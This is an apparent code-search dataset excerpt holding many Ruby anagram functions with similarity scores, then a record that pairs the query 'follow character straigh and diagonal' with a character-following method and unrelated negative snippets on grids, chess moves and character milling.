"def anagram(word)\n anagrams_array = %w(enlists google inlets banana)\n search = word.split('')\n search.sort!\n anagrams_array.each do |wordanna|\n new_word = wordanna.split('')\n new_word.sort!\n if search == new_word\n puts wordanna\n end\n end\nend",
"def is_anagram?(word)\n#try determining if they are composed of the same letters.\n word.chars.sort == @word.chars.sort\n end",
"def are_anagrams?(word1, word2)\n #si las palabras son anagramas regresa true de lo contrario regresa false\n if canonical(word1) == canonical(word2) then true else false end\nend",
"def anagram str1, str2\n str1.downcase.chars.sort.join == str2.downcase.chars.sort.join\nend",
"def are_anagrams(firstword, secondword)\n firstword.downcase.split(\"\").sort.join == secondword.downcase.split(\"\").sort.join\nend",
"def anagrams(word)\n dictionary = File.readlines(Dir.pwd << \"/enable.txt\").map { |word| word.chomp }\n anagrams = []\n\n word = word.split(\"\")\n word.permutation.to_a.each do |possible_perm|\n anagrams << possible_perm.join.upcase if dictionary.include?(possible_perm.join)\n end\n anagrams\nend",
"def combine_anagrams(words)\n anagrams = Hash.new()\n words.each do |word|\n letters = word.downcase.gsub(/[^a-z]/, \"\").split(\"\").sort.join\n anagrams[letters] = Array.new unless anagrams.include?(letters)\n anagrams[letters] << word\n end\n anagrams.values\nend",
"def combine_anagrams(words)\n hash = {}\n hash.default=[]\n words.each{|word|\n down_cased = word.downcase\n anagram = down_cased.chars.sort.join\n hash[anagram]= hash[anagram] + [word]\n }\n hash.values\nend",
"def combine_anagrams(words)\n\n ouArr = Array.new\n\n words.each do |w|\n\n ouIt = Array.new [w]\n\n words.each do |w2|\n if w.downcase.chars.sort == w2.downcase.chars.sort && !ouIt.include?(w2)\n ouIt.push(w2)\n end\n end\n ouIt.sort!\n\n if !ouArr.include?(ouIt)\n ouArr.push(ouIt)\n end\n end\n ouArr\nend",
"def valid_anagram(text)\n\nend",
"def test_find_anagrams\n anagrams = %w(cat act)\n assert_equal anagrams, OneLiner.find_anagrams(%w(tac bat cat rat act))\n end",
"def combine_anagrams(words) \r\n anagrams = words.inject(Hash.new()) do |r, word|\r\n key = word.downcase.chars.sort.join\r\n r[key] ||=[]\r\n r[key] << word\r\n r\r\n end\r\n anagrams.values\r\nend",
"def find_anagrams(base, words_list)\n words_list.select { |word| word.split('').sort == base.split('').sort }\nend",
"def find_anagrams(base, words_list)\n words_list.select { |word| word.split('').sort == base.split('').sort }\nend",
"def anagram (str1, str2)\n # to downcase and remove non alphanumeric characters \n str1_hash = str_to_hash(str1.downcase.gsub(/(\\W)/, \"\"))\n str2_hash = str_to_hash(str2.downcase.gsub(/(\\W)/, \"\"))\n\n if str1_hash == str2_hash\n return true\n else\n return false\n end\n\nend",
"def match(possible_anagrams)\nresult = []\nsplitted_word = @word.downcase.split(\"\").sort\n\npossible_anagrams.each do |element|\nif splitted_word == element.downcase.split(\"\").sort\n result << element\nend \nend\nresult\nend",
"def anagrams(stringA, stringB)\n compare_strA = stringA.downcase\n .gsub(/[^\\w]/, '')\n .split('')\n .sort { |a, b| a <=> b}\n .join('')\n \n compare_strB = stringB.downcase\n .gsub(/[^\\w]/, '')\n .split('')\n .sort { |a, b| a <=> b}\n .join('')\n \n compare_strA == compare_strB\nend",
"def combine_anagrams(words)\n Array anagrams = []\n words.each {|x|\n flag = false\n anagrams.collect {|y|\n if x.downcase.chars.to_a.sort == y[0].downcase.chars.to_a.sort then\n y << x\n flag = true\n break\n end\n }\n unless flag; anagrams << [x] end \n }\n anagrams\nend",
"def combine_anagrams(words)\r\n\tanagrams = words.group_by { |word| word.chars.sort }.values\t\r\nend",
"def anagrams?(a_string, another_string)\n # TODO: implement the obvious method to test if two words are anagrams\n puts a_string_sorted = clean(a_string.downcase.chars.sort.join)\n puts another_string_sorted = clean(another_string.downcase.chars.sort.join)\n a_string_sorted == another_string_sorted\nend",
"def detect_anagram(word, dictionary)\n letter_array = word.downcase.split(//)\n word_array = []\n letter_array.permutation(word.length){|word| word_array << word.join }\n word_array.select {|word| dictionary.include?(word)}\nend",
"def anagrams?(word1, word2)\n if word1.length != word2.length\n return false\n end\n word1.each_char do |ele|\n if !word2.include?(ele)\n return false\n end\n end\n return true\nend",
"def test_find_anagrams\n anagrams = %w(tac cat act)\n assert_equal anagrams, OneLiner.find_anagrams(%w(tac bat cat rat act))\n end",
"def combine_anagrams(words)\n result = Hash.new\n words.each do |word|\n sw = word.downcase.split(//).sort\n if !result.has_key?(sw)\n result[sw] = Array.new\n end\n result[sw] << word\n end\n result.values\nend",
"def find_anagrams(base_word, word_list)\n word_list.select do |word|\n anagram?(base_word, word)\n end\nend",
"def combine_anagrams(words)\n#\n\n hash = {}\n words.each{ |word| \n key = word.downcase.split(//).sort\n hash[key] = (hash[key] || []) + [word]\n }\n ans = []\n hash.map{ |k, v|\n ans += v\n }\n ans\nend",
"def combine_anagrams(words)\r\n\r\n h=Hash.new([])\r\n words.map {|w| key=w.downcase.split('').sort.join; h[key]+=[w]}\r\n h.values\r\n \r\nend",
"def anagrams?(word1, word2)\r\n return charCount(word1) == charCount(word2)\r\nend",
"def anagram_finder(word, dictionary)\n\tag = []\ndictionary.each {|x| ag << x if word.split('').sort == x.split('').sort }\nag\nend",
"def anagrams?(word1, word2)\n return char_count(word1) == char_count(word2)\nend",
"def anagrams?(word1, word2)\n return char_count(word1) == char_count(word2)\nend",
"def anagrams?(word1, word2)\n return char_count(word1) == char_count(word2)\nend",
"def combine_anagrams(words)\n result = []\n words.each do |word|\n anagrams = words.find_all{|item| item.downcase.chars.sort.join == word.downcase.chars.sort.join }\n result.push(anagrams)\n end\n result.uniq\nend",
"def combine_anagrams(words)\n hash = {}\n anagrams = []\n\n words.each { |w| \n sorted = w.downcase.each_char.sort.join \n\n if (hash.has_key?(sorted))\n hash[sorted].push w\n else\n hash[sorted] = Array.new.push(w)\n end\n }\n\n hash.each_value { |v|\n anagrams.push v\n }\n\n return anagrams\nend",
"def combine_anagrams(words)\n\th = Hash.new{|hash, key| hash[key] = Array.new;}\n\twords.each do |word| h[word.downcase.split(//).sort.join] << word end\n\th.values \nend",
"def anagrams?(word1, word2)\n\treturn char_count(word1) == char_count(word2)\n \nend",
"def is_anagram(w1, w2)\n\tw1.downcase.split(\"\").sort.join == w2.downcase.split(\"\").sort.join\nend",
"def combine_anagrams(words)\r\n hash = Hash.new\r\n words.each{|w|\r\n key = w.downcase.chars.sort * \"\"\r\n if hash.has_key?(key)\n hash[key] += [w]\n else\n hash[key] = [w]\n end}\r\n return hash.values\r\nend",
"def str_anagram(str1, str2)\n if str1.chars.sort.join.downcase == str2.chars.sort.join.downcase\n puts true\n else\n puts false\n end\n end",
"def combine_anagrams(words)\r\n\tresult = {}\r\n\twords.each{|word| result[word.downcase.chars.sort.join] ||= []; result[word.downcase.chars.sort.join] << word}\r\n\tresult.values\r\nend",
"def anagrams?(word1, word2)\n return char_count(word1) == char_count(word2)\nend",
"def anagrams?(word1, word2)\n return char_count(word1) == char_count(word2)\nend",
"def combine_anagrams(words)\n word_list = Hash.new{|h, k| h[k] = []}\n \n words.each do |word|\n sorted = word.downcase.chars.sort.join\n # if not (word_list.include? sorted and word_list[sorted].include?(word))\n word_list[sorted] << word\n # end\n end\n \n word_list.map { |key,value| value }\nend",
"def combine_anagrams(words)\n words_uniq = words.map{ |w| w.downcase.split(//).sort.join }.uniq\n words_uniq.map{ |wu| words.select{ |w| w.downcase.split(//).sort.join == wu }}\nend",
"def combine_anagrams(words)\r\n hash = Hash.new([])\r\n anagrams = []\r\n words.each do |word|\r\n keyword = word.downcase.chars.sort.join\r\n hash[keyword] += [word]\r\n end\r\n hash.each_value do |words|\r\n anagrams += [words]\r\n end\r\n return anagrams\r\nend",
"def match(possible_anagrams)\n anagrams = []\n possible_anagrams.each do |possible_anagram|\n if possible_anagram.split(\"\").sort == @word.split(\"\").sort\n anagrams << possible_anagram\n end\n end\n anagrams\nend",
"def anagrams_for(word, array)\n array.find_all {|element| are_anagrams?(word, element)}\nend",
"def anagramI?(str1, str2)\n anagrams = str1.split(\"\").permutation.to_a.map { |anagram| anagram.join(\"\") }\n anagrams.include?(str2)\nend",
"def anagram3(str1, str2)\n str1 = str1.downcase.chars.sort.join\n str2 = str2.downcase.chars.sort.join\n\n return str1 == str2\nend",
"def combine_anagrams(words)\n anagrams = []\n available_words = words\n words.each do |e|\n group = []\n temp_words = []\n anagram_invariant = e.downcase.chars.sort.join\n available_words.each do |i|\n test = i.downcase.chars.sort.join\n if test == anagram_invariant\n group.push(i)\n else\n temp_words.push(i)\n end\n end\n if(!group.empty?)\n anagrams.push(group)\n end\n available_words = temp_words\n end\n return anagrams\nend",
"def anagrams?(word1, word2)\n\treturn hashLetters(word1) == hashLetters(word2)\nend",
"def word_unscrambler(word, dic)\n word = word.split(\"\").sort!\n anagrams = []\n\n i = 0\n while i < dic.length\n compare = dic[i].split(\"\").sort\n if word == compare\n anagrams << dic[i]\n end\n i += 1\n end\n p anagrams\nend",
"def find_anagrams( target_word, list_of_words )\n anagrams = []\n list_of_words.each{ |element|\n if anagram_canonical_form(element) == anagram_canonical_form(target_word)\n anagrams << element\n end\n }\n return anagrams\nend",
"def combine_anagrams(words)\n words_hash = Hash.new{ |hash, key| hash[key] = [] }\n words.each { |word| word_key = word.downcase.chars.sort.join; words_hash[word_key] = words_hash[word_key] << word; }\n words_list = Array.new()\n words_hash.keys.each { |key| words_list << words_hash[key] }\n return words_list\nend",
"def combine_anagrams(words) \n # for each word, sort the word to create the \n # signature for the anagrams\n anagram_groups = {}\n words.each do |w|\n key = w.downcase.chars.sort.join\n if anagram_groups[key].nil?\n anagram_groups[key] = [w]\n else\n anagram_groups[key].push(w)\n end\n end\n \n return anagram_groups.values\n\nend",
"def anagrams_maybe_better(string1, string2)\n return true if string1.chars.sort == string2.chars.sort\n false\nend",
"def anagram(words)\n words_hash = {}\n\n words.each do |w1|\n sorted_word = w1.chars.sort\n\n if words_hash.has_key?(sorted_word)\n words_hash[sorted_word] << w1\n else\n words_hash[sorted_word] = [w1]\n end\n end\n\n words_hash.values\nend",
"def anagram?(word)\n normalize(word) == normalize(@word)\n end",
"def find_anagrams(word, dictionary)\n sort_chars = lambda{ |x| x.chars.sort.join }\n anagrams = Hash.new{|h,k| h[k] = [] }\n dictionary.each do |w|\n anagrams[sort_chars.call(w)] << w\n end\n return anagrams[sort_chars.call(word)]\nend",
"def key(word)\n word.upcase_letters.sort.join\n end",
"def anagrams_oneliner(string)\n string.chars.to_a.permutation.map(&:join).select {|value| value != string and WORDS.include? value}\nend",
"def anagrams(word)\n\n dictionary = File.open(\"enable.txt\").read.split(\"\\n\")\n\n dictionary_array = word.chars.to_a\n matches = dictionary_array.permutation(word.length).to_a\n\n my_anagrams = []\n matches.each do |i|\n matches = i.join\n if dictionary.include?(matches)\n \tmy_anagrams.push(matches) \n end\n end\n my_anagrams.delete(word)\n\n return my_anagrams.sort_by(&:downcase)\nend",
"def find_anagrams(target_word, array_of_words)\n array_of_anagrams = []\n\n array_of_words.each do |member|\n if member.split(//).sort == target_word.split(//).sort\n array_of_anagrams.push(member)\n else\n next\n end\n end\n array_of_anagrams\nend",
"def match(anagrams)\n anagrams.each do |array_word|\n if @word.split(\"\").sort == array_word.split(\"\").sort\n @final_array << array_word\n end\n end\n @final_array\n end",
"def combine_anagrams(words)\n outp = Hash.new;\n words.each{|w| idx = w.downcase.chars.to_a.sort.join; if outp[idx] == nil then outp[idx] = Array.new; end; outp[idx].push(w); };\n return outp.values ;\nend",
"def combine_anagrams(words)\r\n\t\r\n\tresult = []\r\n\twords1 = [];\r\n\twords.each {|w| words1 << w.to_s.downcase.chars.sort.join}\r\n\twords2 = words1.uniq\r\n\t\r\n\tfor i in 0 ... words2.size\r\n\t\tr = []\r\n\t\tw2 = words2[i]\r\n\t\tfor j in 0 ... words.size\r\n\t\t\tw = words[j]\r\n\t\t\tif w2.casecmp(w.to_s.downcase.chars.sort.join) == 0\r\n\t\t\t\tr << w\r\n\t\t\tend\r\n\t\tend\r\n\t\tresult << r\r\n\tend\r\n\t\r\n\treturn result\r\n\t\r\nend",
"def is_anagram(s1, s2)\n\ts1 = s1.downcase.split('').sort\n\ts2 = s2.downcase.split('').sort\n\ts1 == s2 ? true : false \t \nend",
"def find_anagrams( words )\r\n\tif words.empty?\r\n\t\tresult = []\r\n\telse\r\n\t\tresult = []\r\n\t\tsource = words[0]\r\n\t\twords.each do |w|\r\n\t\t\tif are_anagrams?( source, w )\r\n\t\t\t\tresult << w\r\n\t\t\tend\r\n\t\tend\r\n\tend\r\n\t\r\n\treturn result\r\nend",
"def anagram?\n chars1 = @input1.downcase.gsub(/[!@#$%^&*()-=_+|;':\",.<>?']/, '').split(\"\").sort\n chars2 = @input2.downcase.gsub(/[!@#$%^&*()-=_+|;':\",.<>?']/, '').split(\"\").sort\n if\n self.allwords?\n if\n chars1 == chars2\n return \"These words are anagrams!\"\n elsif\n self.antigrams?\n return \"These words are not anagrams but they are antigrams!\"\n elsif self.antigrams? == false\n return \"These words are neither anagrams nor antigrams!\"\n end\n else\n return \"You need to input actual words!\"\n end\n end",
"def anagrams?(str_sym_or_int_1, str_sym_or_int_2)\n str_sym_or_int_1.to_s.downcase.delete(' ').split('').sort.join == str_sym_or_int_2.to_s.downcase.delete(' ').split('').sort.join\nend",
"def anagrams?(word1, word2)\n\n # let's use hash count \n counter1 = Hash.new(0)\n\n word1.each_char do |char|\n counter1[char] += 1\n end \n \n counter2 = Hash.new(0)\n word2.each_char do |char|\n counter2[char] += 1\n end \n\n if counter1 == counter2\n return true \n end \n\n return false\nend",
"def anagrams\n word.anagram.words.pluck(:text) - [word.text]\n end",
"def combine_anagrams(words)\n hash = Hash.new\n words.each {|w|\n if(hash[w.downcase.split(\"\").sort().join] == nil)\n hash[w.downcase.split(\"\").sort().join] = [] \n end\n hash[w.downcase.split(\"\").sort().join] << w\n }\n rList = []\n hash.each_value{|v|\n rList << v\n }\n return rList\n\nend",
"def combine_anagrams(words)\n h = Hash.new()\n\n words.each do |word|\n lowercase_word = word.downcase\n sorted_lowercase_word = lowercase_word.chars.sort.join\n\n similar_words = h[sorted_lowercase_word]\n if not similar_words\n similar_words = []\n end\n similar_words << word\n h[sorted_lowercase_word] = similar_words\n\n end\n\n output = []\n h.each_value { |value| output << value }\n return output\nend",
"def anagram?(s1,s2)\n\ts1.chars.sort == s2.chars.sort\nend",
"def search_for (word)\n\n chars = word.split(\"\")\n all_words = chars.permutation(chars.size).map{|_chars|\n _chars.join \"\"\n }\n\n anagrams = []\n all_words.each do |w|\n anagrams.push w if @word_list[w]\n end\n\n return anagrams\n end",
"def anagrams?(word1, word2)\n w1 = Hash.new(0)\n word1.each_char do |char|\n w1[char] += 1\n end\n w2 = Hash.new(0)\n word2.each_char do |char|\n w2[char] += 1\n end\n return w1 == w2\nend",
"def combine_anagrams(words)\n result = Array.new\n words.each do |i|\n anagrams = Array.new\n sorted = i.downcase.chars.sort.join\n words.each do |j|\n if j.downcase.chars.sort.join == sorted\n anagrams << j\n end\n end\n result << anagrams\n end\n return result.uniq\nend",
"def match(array) #takes in an array of possible anagrams\n anagrams = []\n \n # iterate over array of words\n array.each do |word|\n # compare each word of array to OG word \n # determine if word is anagram\n if word.chars.sort == @word.chars.sort\n anagrams << word\n end\n end\n anagrams #return all matches/ empty array if no matches exist\n end",
"def funWithAnagrams(word_arr)\n # Write your code here\n visited = {}\n\n word_arr.each_with_index do |word,idx|\n if visited[word.split(\"\").sort.join(\"\")]\n word_arr[idx] = \"\"\n else\n visited[word.split(\"\").sort.join(\"\")] = 1\n end\n end\n\n word_arr.delete(\"\")\n word_arr.sort\nend",
"def combine_anagrams(words)\n\thash = {}\n\t#words.each{ |w| hash[w.downcase.chars.sort.join] ||= [] << w }\n\twords.each do |w| \n\t\tk = w.downcase.chars.sort.join\n\t\tif hash[k]\n\t\t\thash[k] << w\n\t\telse\n\t\t\thash[k] = [w]\n\t\tend\n\tend\n\thash.values\nend",
"def first_anagram?(word1, word2)\n anagrams = []\n arr = word1.chars \n\n arr.permutation.each do |subArr|\n anagrams << subArr.join(\"\")\n end \n p anagram?(anagrams, word2) \nend",
"def combine_anagrams(words)\n hash = {}\n words.each do |str|\n sorted = str.chars.sort { |a, b| a.casecmp(b) } .join\n down = sorted.downcase\n if (hash[down]== nil)\n hash[down] = Array.new\n end\n arr = hash[down]\n arr[arr.length] = str\n hash[down] = arr\n# puts \"[sorted] is \\\"\" + sorted + \",\\\" and hash[sorted] is \" + hash[sorted].inspect\n arr = nil\n end\n hash.values\nend",
"def is_anagram(s, t)\n s.chars.sort == t.chars.sort\nend",
"def combine_anagrams(words=[])\n return [] if words.empty?\n hash = {}\n words.each do |word|\n anagram = word.downcase.split(\"\").sort.join(\"\")\n if hash[anagram].nil? then\n hash[anagram]=[word]\n else\n hash[anagram].push(word)\n end\n end\n return hash.values\nend"
] |
[
"0.75699884",
"0.75572324",
"0.7518256",
"0.75123924",
"0.7488728",
"0.7429856",
"0.74218625",
"0.73521656",
"0.73521656",
"0.73305047",
"0.7320855",
"0.73087585",
"0.7303195",
"0.729514",
"0.72927284",
"0.72831845",
"0.7215724",
"0.7166948",
"0.71664363",
"0.71656036",
"0.71599257",
"0.7153873",
"0.7147507",
"0.71340036",
"0.71147984",
"0.7110172",
"0.7096913",
"0.7062753",
"0.7062753",
"0.70616",
"0.7051521",
"0.7051045",
"0.70403683",
"0.70350224",
"0.7006891",
"0.70026475",
"0.69971704",
"0.69740313",
"0.6973911",
"0.6948145",
"0.6936807",
"0.6934987",
"0.69341123",
"0.6933384",
"0.6932335",
"0.6932335",
"0.6932335",
"0.69288003",
"0.69283736",
"0.692186",
"0.6917027",
"0.6913786",
"0.690025",
"0.6897031",
"0.6891154",
"0.6881749",
"0.6881749",
"0.6872268",
"0.68635255",
"0.685998",
"0.6856028",
"0.68444514",
"0.6833106",
"0.6832523",
"0.68311924",
"0.6827529",
"0.6815585",
"0.68126076",
"0.681075",
"0.6810734",
"0.68091565",
"0.6801492",
"0.67959446",
"0.67955536",
"0.6795034",
"0.6790392",
"0.6786017",
"0.6775848",
"0.67689395",
"0.676669",
"0.6763477",
"0.67594963",
"0.67399085",
"0.673662",
"0.67314285",
"0.6729808",
"0.67284507",
"0.6727556",
"0.67271477",
"0.6717923",
"0.6710584",
"0.6704677",
"0.67042536",
"0.6699303",
"0.6696467",
"0.6686229",
"0.6684509",
"0.66828614",
"0.6674576",
"0.6672502"
] |
0.740001
|
7
|
follow character straigh and diagonal
|
def follow_char(character)
sx = distance_x_from(character.x)
sy = distance_y_from(character.y)
if sx != 0 && sy != 0
move_diagonal(sx > 0 ? 4 : 6, sy > 0 ? 8 : 2)
elsif sx != 0
move_straight(sx > 0 ? 4 : 6)
elsif sy != 0
move_straight(sy > 0 ? 8 : 2)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def diagonal_up_to_string(row_index, col_index)\n #move to edge\n until row_index == @rows - 1 || col_index == 0\n row_index += 1\n col_index -= 1\n end\n\n #form diagonal string from edge\n diagonal_string = \"\"\n while row_index > 0 && col_index < @cols\n diagonal_string += @grid[row_index][col_index]\n row_index -= 1\n col_index += 1\n end\n diagonal_string\n end",
"def diagonalize\n text_lines = @text_lines ; @text_lines = [ ]\n sltn_lines = @sltn_lines ; @sltn_lines = [ ]\n text_lines.each_with_index do |line, i|\n line.split('').each_with_index do |char, j|\n (@text_lines[i+j] ||= '') << char\n (@sltn_lines[i+j] ||= '') << sltn_lines[i][j]\n end\n end\n end",
"def diagraph_split(str)\r\n ciphertext = \"\"\r\n i = 0\r\n\r\n str.each_char do |char|\r\n\r\n ciphertext << char\r\n\r\n i = i + 1\r\n if(i%2 == 0) then\r\n ciphertext << \" \"\r\n end\r\n\r\n end\r\n\r\n return ciphertext\r\nend",
"def down_stroke(col: 0, top: 0, bot: 0, asc: 0, dsc: 0, left: 1, right: 1)\n\n x1 = xp + col*nw - (top*2*dx)*left\n x2 = xp + col*nw\n x3 = xp + col*nw + (bot*2*dx)*right\n\n y1 = yp + dy - asc*2*dy\n y2 = yp + dy + top*2*dy - asc*2*dy\n y3 = yp + 4*nib - dy - bot*2*dy + dsc*2*dy\n y4 = yp + 4*nib - dy + dsc*2*dy\n\n output = \"\"\n output += penline(x1, y1, x2, y2) if top > 0\n output += penline(x2, y2, x2, y3)\n output += penline(x2, y3, x3, y4) if bot > 0\n output\n end",
"def diag_scode\n diag_code[0,3].rjust(3,'0') if diag_code.present?\n end",
"def diagonal_left\n end",
"def mill_char(mill, aChar, beg_x, beg_y, angle=0, scale=0.01, depth = -0.05, mirror=false)\r\n scale = scale + 0.0\r\n print \"(scale=\", scale, \")\\n\"\r\n print \"(mirror=\", mirror,\")\\n\"\r\n #print \"( angle=\", angle, \" scale=\", scale, \")\\n\"\r\n mill.retract()\r\n if scale == 1\r\n scale = scale / 100.0\r\n end \r\n #print \"(mill char mill=\", mill, \" aChar= \", aChar, \" beg_x=\", beg_x, \" beg_y=\", beg_y, \")\\n\"\r\n \r\n end_x = beg_x + (8.0 * scale)\r\n end_y = beg_y + (8.0 * scale)\r\n mid_x = (beg_x + end_x) / 2.0\r\n mid_y = (beg_y + end_y) / 2.0\r\n \r\n \r\n if CharM.has_key?(aChar) \r\n acc = CharM[aChar]\r\n last_seg = nil\r\n lbx = nil\r\n lby = nil\r\n lex = nil\r\n ley = nil\r\n #print \"(aChar=\", aChar, \" acc=\", acc, \")\\n\"\r\n cnt = 0\r\n for aSeg in acc\r\n cnt += 1\r\n #print \"(a seg=\", aSeg, \")\\n\"\r\n # TODO: It should be possible to label a Arc with\r\n # to end points and a third end point to define\r\n # the circumference. This would take the form \r\n # of the first parameter of the segment taking\r\n # a single character such as 'A' for arc. \r\n # TODO: Consider switching from this simple text\r\n # type representation to a object representation\r\n # such as line(0,0,4,4) which would in initialize\r\n # a line object. More work but more extensible \r\n # and more correct.\r\n \r\n if (aSeg.length == 4)\r\n # fully specified segment\r\n if (mirror == true)\r\n obx = bx = ((8 - aSeg[0]) * scale) \r\n oex = ex = ((8 - aSeg[2]) * scale) \r\n else\r\n obx = bx = (aSeg[0] * scale) \r\n oex = ex = (aSeg[2] * scale) \r\n end #if\r\n \r\n oby = by = (aSeg[1] * scale) \r\n oey = ey = (aSeg[3] * scale) \r\n else\r\n # chaining from one segment to the next\r\n if (lex == nil) or (ley == nil)\r\n # First element so we are \r\n # actually starting at this\r\n # location\r\n if (mirror == true)\r\n bx = obx = (8 - aSeg[0]) * scale\r\n by = oby = aSeg[1] * scale \r\n else\r\n bx = obx = aSeg[0] * scale\r\n by = oby = aSeg[1] * scale\r\n end\r\n lex = oex = ex = bx\r\n ley = oey = ey = oby\r\n else\r\n obx = bx = lex\r\n oby = by = ley\r\n end #if \r\n if (mirror == true) \r\n oex = ex = (8 - aSeg[0]) * scale\r\n else\r\n oex = ex = aSeg[0] * scale\r\n end #if\r\n oey = ey = aSeg[1] * scale\r\n end #if\r\n \r\n \r\n \r\n \r\n \r\n \r\n if angle == -9999999\r\n #print \"begin angle calc)\\n\"\r\n bp = calc_point_from_angle(mid_x, mid_y, angle, bx / 2)\r\n bx = bp.x\r\n by = bp.y\r\n \r\n ep = calc_point_from_angle(mid_x, mid_y, angle, ex / 2)\r\n ex = ep.x\r\n ey = ep.y\r\n \r\n end #if angle specified\r\n \r\n bx += beg_x\r\n by += beg_y\r\n ex += beg_x\r\n ey += beg_y\r\n \r\n \r\n if (obx != lex) || (oby != ley)\r\n mill.retract()\r\n end #if\r\n #print \"(a seg=\", aSeg, \")\\n\"\r\n #print \"move to bx=\", bx, \" by=\", by, \" ex=\", ex, \" ey = \", ey, \")\\n\"\r\n \r\n if (cnt == 1)\r\n mill.move_fast(bx,by)\r\n else\r\n mill.move(bx,by)\r\n end #if\r\n mill.plung(depth)\r\n mill.move(ex,ey)\r\n \r\n \r\n lbx = obx\r\n lby = oby\r\n lex = oex\r\n ley = oey \r\n \r\n end # for\r\n mill.retract()\r\n \r\n \r\n end # found character\r\n end",
"def down_stroke(col: 0, top: 0, bot: 0, asc: 0, dsc: 0, left: 1, right: 1, top_s: false, bot_s: false)\n\n real_top = top\n real_top = 0.5 if top_s\n real_bot = bot\n real_bot = 0.5 if bot_s\n\n x1 = xp + col*nw - (real_top*2*dx)*left\n x2 = xp + col*nw\n x3 = xp + col*nw + (real_bot*2*dx)*right\n\n y1 = yp + dy - asc*2*dy\n y2 = yp + dy + real_top*2*dy - asc*2*dy\n y3 = yp + 4*nib - dy - real_bot*2*dy + dsc*2*dy\n y4 = yp + 4*nib - dy + dsc*2*dy\n\n output = \"\"\n output += penline(x1, y1, x2, y2) if top > 0 and not top_s\n output += penline(x1, y1, x2+(x2-x1), y2+(y2-y1)) if real_top > 0 and top_s\n output += penline(x2, y2, x2, y3)\n output += penline(x2, y3, x3, y4) if bot > 0 and not bot_s\n output += penline(x2-(x3-x2), y3-(y4-y3), x3, y4) if real_bot > 0 and bot_s\n output\n end",
"def diagonal(height, lenght)\n printf \"Staciakampio istrizaine: #{Math.sqrt((height * height) + (lenght * lenght))} \\n\"\n end",
"def undiagonalize(transposed)\n text_lines = @text_lines\n @text_lines = Array.new(transposed ? @width : @height) { String.new }\n sltn_lines = @sltn_lines\n @sltn_lines = Array.new(transposed ? @width : @height) { String.new }\n text_lines.each_with_index do |line, i|\n if (transposed)\n o = (i + 1 < @height)? 0 : i + 1 - @height\n else\n o = (i + 1 < @width)? 0 : i + 1 - @width\n end\n line.split('').each_with_index do |char, j|\n @text_lines[j+o] << char\n @sltn_lines[j+o] << sltn_lines[i][j]\n end\n end\n end",
"def rb_mvwhline row, col, char, width\n super(row-@top, col-@left, char, width)\n end",
"def ct(t,w) u=t.length;r=w-(l=w/2-u/2)-u;' '*l+t+' '*r end",
"def diagonal_search \n diagonal = []\n diagonal_words = []\n search = @@boards_templates[1].to_s.scan(/./).each_slice(5).to_a\n for ca in 2..7 \n down = ca \n for row in 0..ca\n if row <= 4 \n diagonal << search[down][row]\n down -= 1 \n end \n end \n end\n diagonal = diagonal.join \n @@boards_templates[0].each { |x| diagonal.include?(x) ? diagonal_words << x : diagonal_words.reverse.include?(x) ? diagonal_words << x : \"No hay palabras en dirección diagonal\" }\n #diagonal_words \n end",
"def diagonals\n down_diag = []\n up_diag = []\n \n # push sets of coordinates that make up both diagonals\n 0.upto(@size - 1) do |idx|\n down_diag << [idx, idx]\n up_diag << [idx, @size - 1 - idx]\n end\n\n [down_diag, up_diag].map do |diag|\n diag.map { |pos| self[pos] }\n end\n end",
"def row(arr,row ,startwhite=false)\n \twob=startwhite\n \twhite_top =\"╔═══╗\"\n white_bottom =\"╚═══╝\" \n black_top =\"┏━━━┓\"\n black_bottom =\"┗━━━┛\"\n i = 0 \n \ttop =\" \"\n\n \tmiddle =\"#{row}\"\n \tbottom =\" \"\n\n \t while i<=7 do\n \t \tif wob\n \t \ttop+=white_top\n \t \tmiddle+=white_middle(arr[i][row].symbol)\n \t \tbottom+=white_bottom\n \t \twob = false\n \t \telse \n \t \ttop+=black_top\n \t \tmiddle+=black_middle(arr[i][row].symbol)\n \t \tbottom+=black_bottom\n \t \twob = true\n \t \tend\n \t \ti+=1\n \t end\n \t puts top\n \t puts middle\n \t puts bottom\n \t if row==0\n \t pos =\" A \"+\" B \"+\" C \"+\" D \"+\" E \"+\" F \"+\" G \"+\" H \"\n puts pos\n \t end\n end",
"def frame(text, char)\n length = text.max{|x| x.length}.length + 4\n ret=[]\n ret.push(char*length)\n\n text.each{|x| ret.push(\"#{char} #{x}#{\" \"*(x.length+4-(length))} #{char}\")}\n ret.push(char*length)\n ret.each{|x| puts x}\nend",
"def draw_ascii(pattern, width)\n for i in 0...(pattern.size-width+1)\n puts pattern.slice(i, width).join\n end\nend",
"def diagonal_slide(row, col) # oh cool try the .downto here instead of the reverse always nice to try new things even though it doesn't make for the most sensical code as per https://stackoverflow.com/questions/2070574/is-there-a-reason-that-we-cannot-iterate-on-reverse-range-in-ruby love it the last time you did reverse just because you didn't think about it until later now knowing this you can do it this way love it ah nevermind no need but would have been great to write smaller.downto(0).map oh well lol remember that for some other time love Ruby what a great language\n (row <= col) ? (smaller, larger = row, col) : (smaller, larger = col, row) # establish which number is the smaller of the two and the larger love it you have some crazy short code lol. For the nw and se diagonals\n nw = check_blocking_pieces((1..smaller).map { |offset| [row-offset, col-offset] }) # go by smaller because that's which one will hit 0 first\n ne = check_blocking_pieces((1..(7-row)).map { |offset| [row+offset, col-offset] if ((col-offset) >= 0) }.compact) # Need to use .compact to remove all the nil elements that were returned by .map since can't quite use select or reject since you *do* want to return the evaluation of the array but ah well code smells http://ruby-doc.org/core-1.9.3/Array.html#method-i-compact if you don't get rid of these nils then in the check_blocking_pieces() you'll run into an error since it'll be trying to get an index of a nil value in moves lol amaizng that even the most misleading errors you can debug with debugger and a good eye fuck byebug is so powerful # go by larger but check that the thing doesn't go out of bounds, the only bounds that it could go out if you have the row correct is col-offset being less than 0 # ahh these return nil for everything it doesn't return for so that's the error love it great catch # don't know what you would do without byebug it's literally god mode\n sw = check_blocking_pieces((1..(7-col)).map { |offset| [row-offset, col+offset] if ((row-offset) >= 0) }.compact) # go up until col == 7 as long as row is above or equal to 0, could do it the other way too, as long as col <= 7 go until row hits 0, but same thing\n se = check_blocking_pieces((1..(7-larger)).map { |offset| [row+offset, col+offset] }) # increase up until the largest one equals 7 basically there might be some nil issues with this but this should work can't wait to check it if you add them all up and there are some nils they might not add let's see, ah nope thankfully map returns an empty array fucking love it Ruby is the best\n (nw + ne + sw + se)\nend",
